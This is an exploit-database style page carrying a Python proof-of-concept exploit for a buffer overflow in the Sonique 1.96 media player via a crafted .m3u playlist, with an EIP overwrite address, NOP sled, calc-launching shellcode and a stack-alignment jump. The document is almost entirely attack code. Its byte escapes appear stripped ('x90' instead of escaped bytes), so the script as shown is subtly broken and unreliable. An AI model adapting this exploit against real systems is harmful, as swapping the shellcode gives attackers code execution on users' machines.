[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Sonique 1.96 .m3u Buffer Overflow
# Published : 2011-05-17
# Author :
# Previous Title : FreeAmp 2.0.7 .fat Buffer Overflow Exploit
# Next Title : Gesytec ElonFmt ActiveX 1.1.14 (ElonFmt.ocx) pid Item Buffer Overflow (SEH)
#Application: Sonique BOF EIP Overwrite
#Version: 1.96
#Author: Securityxxxpert
#Date Submitted: May 17, 2011
#Download Link: http://www.tucows.com/preview/193562
#Tested on: Windows XP SP3
#EIP Overwritten: 239 Bytes
#Pita Bytes: 0x00 0x83 0x88 0x93
#Notes: Not universal, find your own offsets if not SP3 Eng
#Notes Cont: 4 Nops is added before aligning the stack in order to
align the stack properly without errors
#Humor: Waterbottle + Justin Bieber's Head = Pwnage
print
"--------------------------------------------------------------------------------"
print " Sonique Player
Exploit "
print " Retreat
Hell! "
print "Greetz: Acidgen, Subinacls, GrumpyBear, Pyoor, Corelanc0d3r, Dr.
Nick, Rek0n "
print "Greetz Cont: Connection, MaXe, ronin,
Intern0t, "
print "Greetz Cont: Podjackel, g0tmi1k & The entire Corelan & Offensive
Security Teams "
print
"--------------------------------------------------------------------------------"
import os
filename = "waterbottle.m3u"
nopsled="x90"*93 #Sliding to pwnage
sc=("x31xC9x51x68x63x61x6Cx63x54xB8xC7x93xC2x77xFFxD0")
#16 byte Calc Shellcode
filler = "x90"*130
eip='x6Fx9Cx10x5D' #0x5D109C6F
alignjmp='x83xC3x1cx90'+'xffxe3' #Aligns the stack to EBX1c, then
Jumps to EBX *EBX1C*
Junk='x42' * 10000
exploit = nopsled + sc + filler + eip + "x90"* 4 + alignjmp + Junk
os.makedirs ("./Justin.Beiber -My World")
os.chdir ("./Justin.Beiber -My World")
textfile = open(filename,"w")
textfile.write(exploit)
textfile.close()